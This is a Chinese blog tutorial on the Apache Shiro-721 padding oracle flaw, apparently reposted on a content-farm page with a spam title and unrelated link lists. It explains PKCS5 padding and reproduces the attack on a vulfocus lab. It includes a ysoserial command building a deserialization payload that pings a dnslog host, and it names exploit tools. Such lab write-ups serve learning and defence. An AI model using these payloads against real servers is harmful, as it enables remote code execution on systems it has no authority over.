当前位置: 首页 > news >正文

聊城做网站推广找谁推广注册app赚钱平台

聊城做网站推广找谁,推广注册app赚钱平台,网站开发 流程,为什么大公司不用uniapp文章目录 Padding Oracle Attack 原理PKCS5填充怎么爆破攻击 漏洞原理源码分析漏洞复现 本文基于shiro550漏洞基础上分析,建议先看上期内容: https://blog.csdn.net/weixin_60521036/article/details/142373353 Padding Oracle Attack 原理 网上看了很多…

文章目录

  • Padding Oracle Attack 原理
    • PKCS5填充
    • 怎么爆破攻击
  • 漏洞原理
  • 源码分析
  • 漏洞复现

本文基于shiro550漏洞基础上分析,建议先看上期内容:
https://blog.csdn.net/weixin_60521036/article/details/142373353

Padding Oracle Attack 原理

网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,所以我总结了一下Padding Oracle Attack 的攻击原理。

PKCS5填充

padding有很多种方式,shiro使用了PKCS5的填充方式:
如下图所示(找规律能找出来么?):
在这里插入图片描述
意思就是:
约定 :*表示任意数据,每个数据块为8字节。
当你数据为 ** ** ** ** ** ** ** ,7字节差一字节成一块,那么为了保持数据一块一块的,就需要填充一个数据,该数据根据PKCS5规则,因为差一个字节,所以填充01。
上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ,还差俩字节,所以用02 02来填充,02数值是告诉你差多少字节,而填充的字节个数和数值是一样的。(是不是有点摸着门道了?)
解释到这规律应该能看出来了,不用再过多理解。

ps:补充,当你刚好8字节满了的时候,就给你另外开一个数据块填充:(如下所示)

** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08

怎么爆破攻击

首先我们需要知道怎么判断我们padding数据正确:
在验证 Padding 失败时的返回信息应该不同,其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断,有问题会返回 -1;
当返回值小于0时,调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe

其实这里只需要知道若攻击失败了就会返回deleteMe即可。。。​
在这里插入图片描述

这个padding攻击涉及的东西好多,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击。

漏洞原理

原理其实很简单,shiro解决了密钥硬编码问题后,使用了AES-CBC加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不用找到密钥就能够直接修改rememberMe字段,而这里需要注意的细节就是:
需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。
这也说明了为啥一定要有合法通过认证的cookie才能进行攻击,因为你要走到让他padding的那一步需要合法的身份认证

不知各位道友搞懂了没,总之我的看法就是:
因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可。

在这里插入图片描述

源码分析

偷个懒直接看我之前的文章shiro550 的源码分析即可
https://blog.csdn.net/weixin_60521036/article/details/142373353
721主要的解密过程没有变,只要你成功padding进去了,就能走到反序列化那一步,个人感觉不用理解那么透彻,本身这个漏洞也挺鸡肋,需要登陆成功的身份认证cookie才能攻击。
看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了。
在这里插入图片描述

漏洞复现

使用vulfocus靶场复现


话不多说,直接上最快捷的道具,后面再讲解另外一种抓包方式的攻击
下面这个工具在shiro550也能用,雀氏挺牛13的:
https://github.com/SummerSec/ShiroAttack2
在这里插入图片描述

接着直接爆破利用链即可
在这里插入图片描述

直接就能执行命令了
在这里插入图片描述


接着下面介绍如何通过已知cookie,生成payload,手动修改cookie进行攻击。
在这里插入图片描述

登录记得勾选Remember Me
在这里插入图片描述
抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了。
在这里插入图片描述

  • 首先使用Java反序列化工具 ysoserial 生成 Payload:
    java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class
    在这里插入图片描述

  • 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
    https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本

    注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

    使用你刚刚用cookie生成的payload.class
    在这里插入图片描述

  • 漫长等待后,拿到pad数据后直接丢到cookie上面
    在这里插入图片描述
    接着看你自己的dnslog日志即可查看是否攻击成功了 。


参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/193165

http://www.hkea.cn/news/31248/

相关文章:

  • wordpress主菜单下拉箭头怎么设置台州seo排名优化
  • 网站系统管理员模块关键词查找工具
  • 望江县建设局网站外贸seo推广招聘
  • 微信网站上传图片手机怎么制作网站
  • 简单做网站需要学什么搜索引擎有哪些网站
  • 网站备案信息加到哪里如何进行网站推广
  • 昭通网站制作aso优化技巧
  • 制作网站时怎样做滚动字幕新网站多久会被百度收录
  • 余姚物流做网站微信指数是搜索量吗
  • 怎样做网站轮播今日国内重大新闻事件
  • 想给大学做网站百度网盘搜索神器
  • jsp网站开发论文官方app下载安装
  • 关于机场建设的网站今日疫情最新情况
  • 网站域名注册服务商google浏览器官方
  • 通过网站开发工具怎么改自动跳网站百度指数有哪些功能
  • 可以发锚文本的网站百度搜索官方网站
  • 东莞网站建设企慕简述如何优化网站的方法
  • 可以做网站的公司seo外包
  • 自己怎么做网站视频赚钱5g网络优化培训
  • 数据库修改网站管理员密码seo网站有优化培训吗
  • 福田做商城网站建设找哪家公司好抖音怎么运营和引流
  • 厘米售卡站怎么做网站禁止搜索引擎收录的方法
  • 网站首页滚动图片怎么做谷歌搜索关键词排名
  • 嵩县网站开发友情链接获取的途径有哪些
  • 国家企业信息公示网(广东)海南快速seo排名优化
  • 高端网站设计 上海徐州seo排名公司
  • 泰安网站建设公司排名石家庄最新消息
  • 域名只做邮箱没网站要备案吗常见的网络推广方式包括
  • 昆山建设局网站360搜索首页
  • 正常做网站多少钱无锡网站制作无锡做网站